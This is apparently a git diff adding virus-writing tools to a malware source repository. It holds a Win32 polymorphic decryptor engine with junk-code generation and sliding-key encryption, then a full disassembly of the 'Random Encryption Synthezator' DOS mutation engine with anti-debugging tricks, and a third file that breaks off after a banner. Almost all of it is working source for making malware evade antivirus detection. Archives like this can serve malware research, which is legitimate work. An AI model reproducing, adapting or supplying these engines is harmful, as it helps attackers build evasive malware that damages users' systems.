mov al,byte ptr [esp + eax]+ add esp,4+ stosb++ call Garble_Create_Modrm_Byte+ pop ebx+ retn+; inc/dec reg+Garble_Imm_Inc_Dec: mov eax,2+ call random+ imul eax,8+ add eax,40h+ add eax,ebx+ stosb+ pop ebx+ retn++;+; Initialize pointer+Garble_Imm_Init_Ptr: push ecx++ call Is_In_Pred ; dont setup ptr in predicate+ test eax,eax+ jnz Garble_Create_ImmE1++ call Is_In_Loop+ test eax,eax+ jnz Garble_Create_ImmE1 ; dont setup ptr in loop++ cmp dword ptr [ebp].poly_read_mem_base,0+ je Garble_Create_ImmE1++ mov eax,dword ptr [ebp].poly_read_mem_size+ cmp eax,10+ jb Garble_Create_ImmE1++ sub eax,4+ call random+ add eax,dword ptr [ebp].poly_read_mem_base+ mov ecx,eax++ cmp dword ptr [ebp].poly_junk_mem_pos,0+ je Garble_Imm_No_Unset ; reg wasnt set , no need to unset++ mov eax,dword ptr [ebp].poly_junk_mem_reg+ call unset_reg_32 ; release old ptr register++Garble_Imm_No_Unset: mov dword ptr [ebp].poly_junk_mem_reg,ebx+ mov dword ptr [ebp].poly_junk_mem_pos,ecx++ push eax+ mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_MEM_ACC_DIRECT+ test eax,eax+ pop eax+ jz Grable_Imm_indir+ call Asm_Mov_Reg_Imm_32 ; FIX HERE call Asm_Init_Ptr+ jmp @f+Grable_Imm_indir: call Asm_Init_Ptr++@@: mov eax,ebx+ call set_reg_32++Garble_Create_ImmE1: pop ecx+Garble_Create_Imm_E: pop ebx+ retn++;+; Create Junk Function+;++Garble_Create_funct:+ push ebx+ push ecx+ mov eax,dword ptr [ebp].poly_subroutines_count+ imul eax,8+ lea ebx,[ebp].poly_subroutines_table+ add ebx,eax++ mov dword ptr [ebx],edi ; store subroutine entry to table+ mov eax,POLY_SUBR_PARAMS_MAX+ call random+ mov dword ptr [ebx + 4],eax ; number of sub params++ inc dword ptr [ebp].poly_subroutines_count++ ; init stack frame+ mov byte ptr [edi],55h ; push ebp+ mov word ptr [edi + 1],0ec8bh ; mov ebp,esp+ add edi,3++ mov eax,dword ptr [ebp].poly_garbage_level+ imul eax,2+ call random+ inc eax+ mov ecx,eax++ call Set_In_Subr ; set in subroutine flag+ mov ebx,dword ptr [ebp].poly_reg_usage ; store reg usage++Create_Funct_Loop: call PolyGarble+ loop Create_Funct_Loop++ call Set_In_Subr+ mov dword ptr [ebp].poly_reg_usage,ebx ; restore reg usage++ mov byte ptr [edi],5dh ; pop ebp+ mov byte ptr [edi + 1],0c3h ; retn+ add edi,2++ifdef POLY_ALIGN_SUBR+ ; now do the compiler-like 16 align+ xor ecx,ecx+ sub ecx,edi+ and ecx,0fh+ mov al,POLY_ALIGN_BYTE++ test ecx,ecx+ jz Create_align_End++ rep stosb++endif ; POLY_ALIGN_SUBR ;++Create_align_End: xor eax,eax+ mov dword ptr [ebp].poly_junk_mem_reg,eax ; clear initialized junk mem ptr+ mov dword ptr [ebp].poly_junk_mem_pos,eax++ pop ecx+ pop ebx+ retn++;+; Standalone Garbage Creator+;+; for external use+; eax = ptr poly_vars+; ecx = amount of garbage+PolyCreateGarbage: pushad++ mov ebp,eax++ call PolyInit+ call PolyGarbleInit++ mov edi,dword ptr [ebp].poly_decryptor_base+ mov eax,edi++ test ecx,ecx+ jz @end+@@: call PolyGarble ; Internal poly garbler+ loop @b++ sub edi,eax+ mov dword ptr [ebp].poly_decryptor_size,edi+ mov dword ptr [esp + 1ch],edi ;save size to eax+@end: popad+ retn++;+; Poly initialization routine+;+; ebp = ptr poly_vars+PolyInit: pushad++ ; fill poly state memory with zeroes+ xor eax,eax+ mov ecx,15+ lea edi,[ebp].poly_algo1+ rep stosd++ ; set esp,ebp as used regs+ mov eax,4+ call set_reg_32+ inc eax+ call set_reg_32++ ; init random seed+ rdtsc+ mov dword ptr [ebp].poly_random_seed,eax++ popad+ retn++;+; PolyEngine+;+; *Create linear decryptor with slide key+;++; _in eax = ptr to poly struct+; _out eax = size of decryptor+PolyEngine: pushad++ mov ebp,eax+ assume ebp:ptr poly_vars++ call PolyInit++ ; choose operations which will be used (xor,add,sub)+ mov eax,3+ call random+ mov dword ptr [ebp].poly_algo1,eax ; crypt algo++ mov eax,2+ call random+ inc eax ; add/sub only+ mov dword ptr [ebp].poly_algo2,eax ; slide algo++ ; choose registers+ call get_free_reg_32+ mov dword ptr [ebp].poly_ptr_reg,eax++ call get_free_reg_32+ mov dword ptr [ebp].poly_key_reg,eax++ call get_free_reg_32+ mov dword ptr [ebp].poly_loop_reg,eax++ call generate_key_32+ mov dword ptr [ebp].poly_slide_key,eax++ ; apply encryption to data+ call generate_key_32+ call crypt_data+ mov dword ptr [ebp].poly_key,eax++ ; start generating decryptor code+ mov edi,dword ptr [ebp].poly_decryptor_base++ ; intialize poly garbler+ call PolyGarbleInit++ ; save poly entry+ mov eax,edi+ sub eax,dword ptr [ebp].poly_decryptor_base+ mov dword ptr [ebp].poly_entry_offset,eax++ ; CREATE STACK FRAME FOR DECRYPTOR+ mov byte ptr [edi],55h ; push ebp+ mov word ptr [edi + 1],0ec8bh ; mov ebp,esp+ add edi,3++ ; GARBLE+ call PolyGarble++ ;+ ; ASSEMBLE MOVE DATA LOOP+ ;+ ; this loop is used when data are decrypted+ ; to different location in memory than their initial position is+ ; to activate this behaviour , set poly_vars.poly_ptr_decrypt_buf_va+ call Asm_Move_Data_Loop++ ;+ ; INIT VALUES FOR DECRYPTOR+ ;++ ; init decrypt key in reg+ mov ebx,dword ptr [ebp].poly_key_reg+ mov ecx,dword ptr [ebp].poly_key+ call Asm_Mov_Reg_Imm_32++ ; GARBLE+ call PolyGarble++ ; init decrypt buffer ptr+ mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va+ test ecx,ecx+ jnz @f+ mov ecx,dword ptr [ebp].poly_ptr_code_base_va+@@: mov ebx,dword ptr [ebp].poly_ptr_reg+ add ecx,dword ptr [ebp].poly_code_size+ dec ecx+ call Asm_Init_Ptr+++ ; GARBLE+ call PolyGarble++ ; init loop counter+ mov ebx,dword ptr [ebp].poly_loop_reg+ mov ecx,dword ptr [ebp].poly_code_size+ call Asm_Mov_Reg_Imm_32++ ; GARBLE+ call PolyGarble++ call Set_In_Loop ; set in-loop garbler state++ ; GENERATE POLY DECRYPTION LOOP+ mov esi,edi ; loop_base++ call PolyGarble++ ; OPERATION (xor/add/sub [ptr_reg],key_reg )+ mov eax,290131h+ mov ecx,dword ptr [ebp].poly_algo1+ imul ecx,8+ ror eax,cl+ mov byte ptr [edi],al++ ; (key_reg << 3) + ptr_reg;+ mov eax,dword ptr [ebp].poly_key_reg+ rol eax,3+ add eax,dword ptr [ebp].poly_ptr_reg+ mov byte ptr [edi + 1],al+ add edi,2++ ; GARBLE+ call PolyGarble++ ; KEY SLIDE (xor/add/sub key_reg,slide_key)+ mov byte ptr [edi],081h++ mov eax,050006h ; ( xor/add/sub )+ mov ecx,dword ptr [ebp].poly_algo2+ imul ecx,8+ ror eax,cl+ rol eax,3+ add eax,dword ptr [ebp].poly_key_reg+ add eax,0c0h+ mov byte ptr [edi + 1],al++ mov eax,dword ptr [ebp].poly_slide_key+ mov dword ptr [edi + 2],eax+ add edi,6++ ; GARBLE+ call PolyGarble++ ; dec ptr+ mov eax,48h+ add eax,dword ptr [ebp].poly_ptr_reg+ stosb++ ; GARBLE+ call PolyGarble++ ; ASSEMBLE LOOP++ ; dec counter reg+ mov eax,48h+ add eax,dword ptr [ebp].poly_loop_reg+ stosb++ ;+ ; Decrypt Loop+ ;+ ; test counter reg+ mov al,085h+ stosb++ mov eax,dword ptr [ebp].poly_loop_reg+ rol eax,3+ add eax,dword ptr [ebp].poly_loop_reg+ add eax,0c0h+ stosb++ ; jcc loop+ mov eax,esi ; esi = loop start+ sub eax,edi+ push eax+ not eax+ cmp eax,255 / 2+ pop eax+ jbe Poly_Loop_Short+ ; near jcc+ sub eax,6+ mov word ptr [edi],0850fh+ mov dword ptr [edi + 2],eax+ add edi,6++ jmp Poly_Loop_Cont+ ; short jcc+Poly_Loop_Short: sub eax,2+ mov byte ptr [edi],75h ; jnz+ mov byte ptr [edi + 1],al+ add edi,2++Poly_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state++ ; free regs used in decrypt loop+ mov eax,dword ptr [ebp].poly_key_reg+ call unset_reg_32++ mov eax,dword ptr [ebp].poly_ptr_reg+ call unset_reg_32++ mov eax,dword ptr [ebp].poly_loop_reg+ call unset_reg_32++ ; GARBLE+ call PolyGarble++ifndef POLY_DEBUG+ ; GENERATE JUMP TO NEXT LAYER+ call Asm_Jmp_Next_Layer++else+ mov ax,0c35dh+ stosw+endif ; POLY_DEBUG+++ mov eax,edi+ sub eax,dword ptr [ebp].poly_decryptor_base+ mov dword ptr [esp + 1ch],eax++ popad+ retn+;+; Assemble Mov Reg,Imm32+;++; in:+; ebx = reg+; ecx = value+; edi = buffer+Asm_Mov_Reg_Imm_32: mov eax,3+ call random++ cmp eax,0+ je mov_lea++ cmp eax,1+ je mov_push_pop++ ; mov reg imm32+mov_reg_imm32: mov byte ptr [edi],0b8h+ add byte ptr [edi],bl+ mov dword ptr [edi + 1],ecx+ add edi,5+ retn++mov_push_pop: mov al,68h+ stosb+ mov eax,ecx+ stosd+ mov eax,ebx+ add eax,58h+ stosb+ retn++mov_lea: mov eax,ebx+ rol eax,11+ add eax,058dh+ stosw++ mov eax,ecx+ stosd+ retn++;+; Create Poly Delta Routine+;++; eax = register+; edi = buffer++Asm_Poly_Delta: push ebx+ push ecx++ mov ecx,eax+ mov byte ptr [edi],0e8h+ inc edi+ mov ebx,edi+ stosd++ call Set_In_Pred ; avoid ptr init in delta call++ call PolyGarble++ call Set_In_Pred++ mov eax,edi+ sub eax,ebx+ sub eax,4+ mov dword ptr [ebx],eax+ add ebx,3 ; not 4++ mov eax,ecx+ add al,58h+ stosb++ mov eax,ecx+ add al,0c0h+ rol eax,8+ add eax,081h+ stosw++ mov eax,ebx ; ebx = call delta + 5+ sub eax,dword ptr [ebp].poly_decryptor_base+ add eax,dword ptr [ebp].poly_decryptor_base_va+ not eax+ stosd++ pop ecx+ pop ebx+ retn++;+; Initialize Pointer Register+;++;ebx = reg+;ecx = value+;edi = buffer++Asm_Init_Ptr: mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_POS_INDEPENDENT+ test eax,eax+ jz Asm_Init_No_Delta++ mov eax,ebx+; push edx+; mov edx,dword ptr [ebp].poly_decryptor_base_va+ call Asm_Poly_Delta+; pop edx++ ; add reg val+ mov al,081h+ mov ah,bl+ add ah,0c0h+ stosw++ mov eax,ecx+ stosd++ retn++Asm_Init_No_Delta: call Asm_Mov_Reg_Imm_32+ retn++;edi = buffer+Asm_Jmp_Next_Layer: push ebx+ push ecx+ push edx++ ; if poly_decryptor_base_va isnt set+ ; make the transfer instruction relative (call/jmp... rel32)+ cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0+ je Asm_Relative++ call get_free_reg_32+ mov ebx,eax++ mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va+ test ecx,ecx+ jnz @f+ mov ecx,dword ptr [ebp].poly_ptr_code_base_va+@@: add ecx,dword ptr [ebp].poly_code_entry_offset++ mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_POS_INDEPENDENT+ test eax,eax+ jnz Asm_Jmp_Layer_Delta++ call Asm_Mov_Reg_Imm_32++ jmp Asm_Jmp_C++Asm_Jmp_Layer_Delta: mov eax,ebx+; mov edx,dword ptr [ebp].poly_ptr_code_base_va+ call Asm_Poly_Delta++ mov al,81h+ stosb+ mov eax,0c0h+ add eax,ebx+ stosb++ mov eax,ecx+ stosd++Asm_Jmp_C: mov eax,50h+ add eax,ebx+ stosb++ call PolyGarble++ mov eax,0c3h+ stosb++@@: pop edx+ pop ecx+ pop ebx+ retn++ ; call rel32+Asm_Relative: mov al,0e8h+ stosb+ mov eax,dword ptr [ebp].poly_ptr_code_base_raw+ add eax,dword ptr [ebp].poly_code_entry_offset+ sub eax,edi+ sub eax,4+ stosd++ call PolyGarble+ call PolyGarble+ mov eax,0c3h+ stosb+ jmp @b++;+; Assemble Move Data Loop+;+Asm_Move_Data_Loop: pushad+ cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0+ je Asm_Move_Data_End++ ; init store reg+ call get_free_reg_32+ cmp eax,-1+ je Asm_Move_Data_End ; we got problem here+ mov dword ptr [ebp].poly_store_reg,eax++ call PolyGarble++ ; init src ptr+ mov ebx,dword ptr [ebp].poly_ptr_reg+ mov ecx,dword ptr [ebp].poly_ptr_code_base_va+ call Asm_Init_Ptr++ call PolyGarble++ ; init dest ptr+ mov ebx,dword ptr [ebp].poly_key_reg+ mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va+ call Asm_Init_Ptr++ call PolyGarble++ ; init counter+ mov ebx,dword ptr [ebp].poly_loop_reg+ mov ecx,dword ptr [ebp].poly_code_size+ shr ecx,2+ inc ecx+ call Asm_Mov_Reg_Imm_32++ call Set_In_Loop++ mov ebx,edi ; loop start++ call PolyGarble++ ; mov store_reg/[scr]+ mov eax,dword ptr [ebp].poly_store_reg+ rol eax,3+ add eax,dword ptr [ebp].poly_ptr_reg+ rol eax,8+ add eax,8bh+ stosw++ ; mov [dest]/store_reg+ mov eax,dword ptr [ebp].poly_store_reg+ rol eax,3+ add eax,dword ptr [ebp].poly_key_reg+ rol eax,8+ add eax,089h+ stosw++ call PolyGarble++ ; inc store_reg+ mov eax,dword ptr [ebp].poly_ptr_reg+ add eax,0c0h+ rol eax,8+ add eax,83h+ stosw++ mov al,4h+ stosb++ call PolyGarble++ mov eax,dword ptr [ebp].poly_key_reg+ add eax,0c0h+ rol eax,8+ add eax,83h+ stosw++ mov al,4h+ stosb++ call PolyGarble++ ; dec loop_counter+ mov eax,dword ptr [ebp].poly_loop_reg+ add eax,48h+ stosb++ call PolyGarble++ ; test loop_counter/loop_counter+ mov eax,dword ptr [ebp].poly_loop_reg+ rol eax,3+ add eax,dword ptr [ebp].poly_loop_reg+ add eax,0c0h+ rol eax,8+ add eax,085h+ stosw++ ; jcc loop+ mov eax,ebx+ sub eax,edi+ push eax+ not eax+ cmp eax,255 / 2+ pop eax+ jbe Move_Loop_Short++ ; near jcc+ sub eax,6+ mov word ptr [edi],0850fh+ mov dword ptr [edi + 2],eax+ add edi,6++ jmp @f++ ; short jcc+Move_Loop_Short: sub eax,2+ mov byte ptr [edi],75h ; jnz+ mov byte ptr [edi + 1],al+ add edi,2+@@:+ call Set_In_Loop ; unset loop state flag++ mov eax,dword ptr [ebp].poly_store_reg+ call unset_reg_32 ; free store reg++ mov dword ptr [esp],edi ; store edi++; mov eax,dword ptr [ebp].poly_ptr_decrypt_buf_va+; mov dword ptr [ebp].poly_ptr_code_base_va,eax+Asm_Move_Data_End: popad+ retn++;+; Auxiliary routines+;++generate_key_32: push ecx+ push ebx+ mov ecx,4++generate_key_loop: mov eax,0ffh - 10+ call random+ add eax,10+ mov bl,al+ rol ebx,8+ dec ecx+ test ecx,ecx ; to avoid permutation errors+ jnz generate_key_loop+ mov eax,ebx+ pop ebx+ pop ecx+ retn++;+; Test Flag+;++; eax > 0 => we are in loop already+Is_In_Loop: mov eax,POLY_FLAG_IN_LOOP+ jmp Test_Flag++Set_In_Loop: push eax+ mov eax,POLY_FLAG_IN_LOOP+ jmp Set_Flag++Is_In_Subr: mov eax,POLY_FLAG_IN_SUBR+ jmp Test_Flag++Set_In_Subr: push eax+ mov eax,POLY_FLAG_IN_SUBR+ jmp Set_Flag++Is_In_Pred: mov eax,POLY_FLAG_IN_PRED+ jmp Test_Flag++Set_In_Pred: push eax+ mov eax,POLY_FLAG_IN_PRED+ jmp Set_Flag++Test_Flag: push ebx+ mov ebx,dword ptr [ebp].poly_garbler_flags+ and ebx,eax+ mov eax,ebx+ pop ebx+ retn++Set_Flag: xor dword ptr [ebp].poly_garbler_flags,eax+ pop eax+ retn++;+; Registers handling functions+;++; eax = reg+convert_32: push ecx+ mov ecx,eax+ xor eax,eax+ inc eax+ rol eax,cl+ pop ecx+ retn++set_reg_32: push eax+ call convert_32+ or dword ptr [ebp].poly_reg_usage,eax+ pop eax+ retn++unset_reg_32: push eax+ call convert_32+ xor dword ptr [ebp].poly_reg_usage,eax+ pop eax+ retn++; if eax != 0 , reg is used already+is_used_32: push ebx+ call convert_32+ mov ebx,eax+ mov eax,dword ptr [ebp].poly_reg_usage+ and eax,ebx+ pop ebx+ retn++; if eax after ret is zero , no regs are avaiable+is_any_free_32: mov eax,dword ptr [ebp].poly_reg_usage+ not eax+ and eax,0ffh+ retn++get_reg_32: mov eax,8+ call random+ retn++get_reg_32_no_stack:mov eax,6+ call random+ cmp eax,4+ je get_reg_32_add+ cmp eax,5+ je get_reg_32_add+ retn++get_reg_32_add: add eax,2+ retn++;+; return unused reg32 or -1 if no regs are avaiable+get_free_reg_32: call is_any_free_32+ test eax,eax+ jz no_reg_avaiable_32++get_another_reg_32: call get_reg_32+ push eax+ call is_used_32+ test eax,eax+ pop eax+ jnz get_another_reg_32++ call set_reg_32 ; set reg as used+ retn++no_reg_avaiable_32: dec eax+ retn++get_free_reg_32_no_set:+ call get_free_reg_32+ cmp al,0ffh+ je get_free_reg_32_no_set_exit+ call unset_reg_32+get_free_reg_32_no_set_exit:+ retn+++;+; Crypt Data+;++; add/sub must occur in reversed order according to decryption order+; eax = key+crypt_data: pushad+ mov edi,dword ptr [ebp].poly_ptr_code_base_raw+ mov ecx,dword ptr [ebp].poly_code_size+ mov ebx,dword ptr [ebp].poly_slide_key++crypt_loop: cmp dword ptr [ebp].poly_algo1,1+ je crypt_algo1++ cmp dword ptr [ebp].poly_algo1,2+ je crypt_algo2++ xor dword ptr [edi],eax+ jmp crypt_algo_c++crypt_algo1: sub dword ptr [edi],eax+ jmp crypt_algo_c++crypt_algo2: add dword ptr [edi],eax++ ; now apply slide key+crypt_algo_c: mov dword ptr [esp+1Ch],eax ; save eax+ cmp dword ptr [ebp].poly_algo2,1+ je crypt_slide1++ cmp dword ptr [ebp].poly_algo2,2+ je crypt_slide2++ xor eax,ebx+ jmp crypt_slide_c++crypt_slide1: sub eax,ebx+ jmp crypt_slide_c++crypt_slide2: add eax,ebx++crypt_slide_c: inc edi+ loop crypt_loop++; mov dword ptr [esp+1Ch],eax ; save eax+ popad+ retn++;+; random Routine+;++; Entry: EAX == Max_Val.+; Return: EAX == random number between 0..Max_Val-1.+; routine by T-2000++random: push ecx+ push edx+ push eax++ rdtsc+ mov ecx,dword ptr [ebp].poly_random_seed ; random seed+ add eax,ecx++ rol ecx, 1+ add ecx, 666h+ mov dword ptr [ebp].poly_random_seed,ecx ; random seed++ push 32+ pop ecx++CRC_Bit_1: shr eax, 1+ jnc Loop_CRC_Bit_1+ xor eax,0EDB88320h++Loop_CRC_Bit_1: loop CRC_Bit_1+ pop ecx+ xor edx,edx+ div ecx++ xchg edx,eax+ or eax,eax++ pop edx+ pop ecx+ retn+++ assume ebp:nothingdiff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.RES.ASM b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.RES.ASMnew file mode 100644index 0000000..8a1f4cf--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.RES.ASM@@ -0,0 +1,458 @@+; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8+;+; Random Encryption Synthezator (RES), by SSR+; Disasm by Tcp/29A ([email protected])+;+;+; Entry:+; DS:DX = code+; BX = runtime offset+; CX = number of bytes to encrypt+; Return:+; DS:DX = encryptor+code+; CX = size encryptor+code+++ .386p+ RES segment use16+ assume cs:RES, ds:RES, es:RES, ss:RES+ org 0++RES_SIZE_DEC equ 300h ; But it only needs 169h++res_engine:+start:+ call res_delta+res_delta:+ pop si+ sub si,3 ; Get delta-offset+ pop ax+ push cs+ push ax+ push es+ mov ax,es+ sub ax,10h+ mov es,ax+ mov di,100h+ push cx+ mov cx,offset(end_res)+ nop+ push ds+ push cs+ pop ds+ cld+ rep movsb ; Copy RES code to working area+ pop ds+ pop cx+ mov ax,offset(res_start+100h)+ push es+ push ax+ retf ; jmp res_start++res_start:+ pop es+ mov si,100h+ mov ax,es+ add ax,(end_res-start+15)/16+1+ mov es,ax ; Calculate base segment for decryptor+ mov cs:[si+runtime_ofs],bx+ mov cs:[si+code_length],cx+ push cx+ mov cx,RES_SIZE_DEC+ xor di,di+ mov al,90h ; NOP+ cld+ rep stosb ; Fill with NOPs+ call init_masks+ mov cx,8 ; 8 instructions per decryptor+ xor di,di+ add di,si+l_select_instructions:+ push cx+ call RES_get_random+ mov ah,0+ push cx+ mov cl,5+ shr al,cl ; AX in [0..7]+ shl ax,1+ shl ax,1 ; AX:=AX*4 (4 bytes per instruction)+ pop cx+ push di+ push si+ add di,offset(buffer_decryptor)+ add si,offset(decryptor_table)+ add si,ax+ push ax+ mov ax,cs:[si] ; Select an instruction for decryptor+ mov cs:[di],ax ; and store it+ mov ax,cs:[si+2]+ mov cs:[di+2],ax+ pop ax+ pop si+ pop di+ push di+ push si+ add di,offset(buffer_encryptor)+ add si,offset(encryptor_table)+ add si,ax+ push ax+ mov ax,cs:[si] ; Select the instruction for encryptor+ mov cs:[di],ax ; and store it+ mov ax,cs:[si+2]+ mov cs:[di+2],ax+ pop ax+ pop si+ pop di+ add di,4+ pop cx+ loop l_select_instructions+ call reverse_decryptor_table+ call make_encryptor+ pop cx+ push cx+ mov bp,dx+ mov di,RES_SIZE_DEC+ mov cs:[si+code_CRC],0+l_encrypt_code:+ mov al,ds:[bp]+ mov es:[di],al+ mov ah,0+ add cs:[si+code_CRC],ax ; Make code CRC++encryptor db 8*4 dup(90h) ; Buffer for encryptor++ inc di+ inc bp+ loop l_encrypt_code+ push ds+ push cs+ pop ds+ xor di,di+ push si+ add si,offset(decryptor_code)+ mov cx,decrypted_code-decryptor_code+ nop+ cld+ rep movsb ; Copy decryptor to buffer+ pop si+ pop ds+ push es+ pop ds+ xor dx,dx ; DS:DX = Address of decryptor+code+ pop cx+ add cx,RES_SIZE_DEC ; Decryptor+encrypted code+ retf++ db 0+ db 'RandomEncryptionSynthezator',0+ db '� S.S.R. 1996-97',0++init_masks:+ push si+ mov cx,3 ; Only first 3 instructions need a mask+l_next_mask:+ call RES_get_random+ mov byte ptr cs:[si+decryptor_table+3],al ; Store mask+ mov byte ptr cs:[si+encryptor_table+3],al+ add si,4 ; Next inst.+ loop l_next_mask+ pop si+ ret++RES_get_random:+ pushf+ in al,40h ; Get random number+ ror al,1+ xor al,53h+ popf+ ret++make_encryptor:+ push es+ push ds+ push cs+ pop es+ push cs+ pop ds+ push si+ in al,40h ; Get random number+ mov cx,8+ mov di,offset(encryptor)+ add di,si+ add si,offset(buffer_encryptor)+l_make_encryptor:+ rcr al,1 ; Add instruction to encryptor?+ jc add_instruction ; Yes? then jmp+ nop+ nop+ add si,4+loop_make_encryptor:+ loop l_make_encryptor+ jmp encryptor_done+ nop++add_instruction:+ cld+ push cx+ mov cx,4+ rep movsb ; Store instruction+ pop cx+ jmp loop_make_encryptor++encryptor_done:+ pop si+ pop ds+ pop es+ ret++reverse_decryptor_table:+ push ax+ push bp+ push di+ push cx+ push bx+ mov cx,8/2+ mov di,offset(buffer_decryptor)+ add di,si+ mov bp,offset(end_buffer_dec)-4 ; Point to last inst.+ add bp,si+l_reverse_table:+ mov ax,cs:[di] ; Xchg instructions+ mov bx,cs:[bp]+ mov cs:[di],bx+ mov cs:[bp],ax+ mov ax,cs:[di+2]+ mov bx,cs:[bp+2]+ mov cs:[di+2],bx+ mov cs:[bp+2],ax+ sub bp,4 ; xchg next instruction+ add di,4+ loop l_reverse_table+ pop bx+ pop cx+ pop di+ pop bp+ pop ax+ ret++ db 4 ; Unused !!++decryptor_code:+runtime_ofs equ word ptr $+1+ mov bp,0 ; mov bp,runtime_ofs+ push 1100h+(90h+3Ch-20h)+ sub bp,offset(decryptor_code)+ mov di,offset(decryptor)+ add di,bp+ pop ax ; AX:=1100h+(90h+3Ch-20h)+ inc cs:[bp+n_decryptors] ; Inc # of tested decryptors+ mov cs:[bp+decryptor_ok],0 ; Decryptor not found+ mov cs:[bp+decrypting],0 ; Not decrypting+ mov cx,20h+ push es+ push ds+ add ax,cx+ push cs+ pop es+ push cs+ pop ds+ cld+ dec cx+ sub al,3Ch ; AL:=90h (NOP)+ rep stosb+ add al,3Ch ; AL:=0CCh (int 3)+ stosb+ cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?+ jb create_random_decryptor ; Yes? then jmp+ nop+ nop+ mov ax,cs:[bp+n_decryptors] ; Don't use a random number.+ ; n_decryptors will be increased, so it'll+ ; find the correct decryptor.+ jmp create_decryptor+ nop++ db 66h ; Unused!? (antidebug??)++create_random_decryptor:+ in al,40h ; Get random number+create_decryptor:+ mov cs:[bp+decryptor_id],al ; Why? Never use it!!+ mov cx,8+ mov si,offset(buffer_decryptor)+ add si,bp+ mov di,offset(decryptor)+ add di,bp+l_make_random_decryptor:+ rcr al,1 ; Add instruction to decryptor?+ jc add_inst_dec ; Yes? then jmp+ nop+ nop+ add si,4+next_dec_instruction:+ loop l_make_random_decryptor+ jmp done_random_decryptor+ nop++add_inst_dec:+ cld+ push cx+ mov cx,4+ rep movsb ; Add instruction+ pop cx+ jmp next_dec_instruction++done_random_decryptor:+ mov di,RES_SIZE_DEC+ add di,cs:[bp+runtime_ofs]+code_length equ word ptr $+1+ mov cx,0 ; mov cx,code_length+ mov bx,cs:[bp+code_CRC]+l_random_decryptor:+ mov dl,cs:[di]++decryptor db 8*4 dup(90h)++ mov al,dl+ mov ah,0+ sub bx,ax ; Calculate CRC+ cmp cs:[bp+decrypting],1 ; Decrypting?+ je decrypt_byte ; Yes? then jmp+ nop+ nop+loop_decryptor:+ inc di+ loop l_random_decryptor+ pop ds+ pop es+ cmp bx,0 ; CRC OK?+ jnz decryptor_code ; No? then jmp+ jmp found_decryptor ; Yes? then jmp+ nop++buffer_decryptor db 8*4 dup(90h)+end_buffer_dec:++code_CRC dw 0+decryptor_ok db 0+decrypting db 0+ db 0Bh ; Unused!+ db 0Bh ; Unused!+ db 0Bh ; Unused!+decryptor_id db 0+n_decryptors dw 0++decrypt_byte:+ mov cs:[di],dl ; Store decrypted byte+ jmp loop_decryptor++found_decryptor:+ cmp cs:[bp+decryptor_ok],1 ; Code decrypted?+ je code_decrypted ; Yes? then jmp+ nop+ nop+ mov cs:[bp+decrypting],1+ mov cs:[bp+decryptor_ok],1+ push es+ push ds+ jmp done_random_decryptor ; Decrypt code++code_decrypted:+ jmp anti_disasm1+ nop+ db 69h ; Antidebug+anti_disasm1:+ cli+ push 3545h+ jmp anti_disasm2+ nop+ db 0EAh ; Antidebug+anti_disasm2:+ cli+ inc sp+ mov ax,cs:[bp]+ xor ax,bx+ cld+ scasb+ inc sp+ mov ax,4202h+ sub sp,2+ pop ax+ cmp ax,3545h ; Is it being traced?+ jne decrypted_code ; Yes? then jmp+ ; BUG! Should jump when not traced+ nop+ nop+ xor ax,3445h+ mov es,ax+ inc byte ptr cs:[0Dh]+ and cx,0Fh+ rep scasb+ xor ax,cs:[si]+ pushf+ pop ax ; Get flags+ and ah,0FEh ; Clear trace flag+ push ax+ xchg bx,cx+ les bx,ds:[2Bh]+ popf ; Trace flag off+ xor eax,eax+ mov dr7,eax ; Clear all breakpoints+ dec byte ptr cs:[0Dh]+ call skip_reset+ db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)+ dw 0FFF0h ; but never reach here because in 'skip_reset'+ dw 0F000h ; it does a pop of the return address++skip_reset:+ pop ax+decrypted_code: ; End of decryptor code++encryptor_table:+ xor byte ptr es:[di],0+ add byte ptr es:[di],0+ sub byte ptr es:[di],0+ nop+ ror byte ptr es:[di],1+ nop+ rol byte ptr es:[di],1+ nop+ neg byte ptr es:[di]+ nop+ not byte ptr es:[di]+ nop+ neg byte ptr es:[di]++decryptor_table:+ nop+ xor dl,0+ nop+ sub dl,0+ nop+ add dl,0+ nop+ nop+ rol dl,1+ nop+ nop+ ror dl,1+ nop+ nop+ neg dl+ nop+ nop+ not dl+ nop+ nop+ neg dl++buffer_encryptor db 8*4 dup(90h)++end_res:++RES ends+public res_engine+ end++; End of RES disasm+; (c) 1997, Tcp/29A ([email protected])diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Random.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Random.asmnew file mode 100644index 0000000..e46edce--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Random.asm@@ -0,0 +1,88 @@+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ;+; xxxxxxxxxxx xxxxxxxx xxxx xxxx xxxxxxxxxx xxxxxxxx xxxxxxxxx ;+; xxxxxxxxxxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;+; xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxx xxxx xxx xxxx ;+; xxxx xxxx xxxx xxxx xxxxxx xxxx xxxx xxxx xxxx ;+; xxxx xxxx xxxx xxxx xxxxxxx xxxx xxxx xxxxxxxx xxxxxxxxxx ;+; xxxxxxxxxxx xxxx xx xxxx xxxx xxxxxxx xxxx xxxxxxxx xxxxxxxxxx ;+; xxxxxxxxxxxx xxxx xx xxxx xxxx xxxxxx xxxx xxxxx xxxx xxxx ;+; xxxx 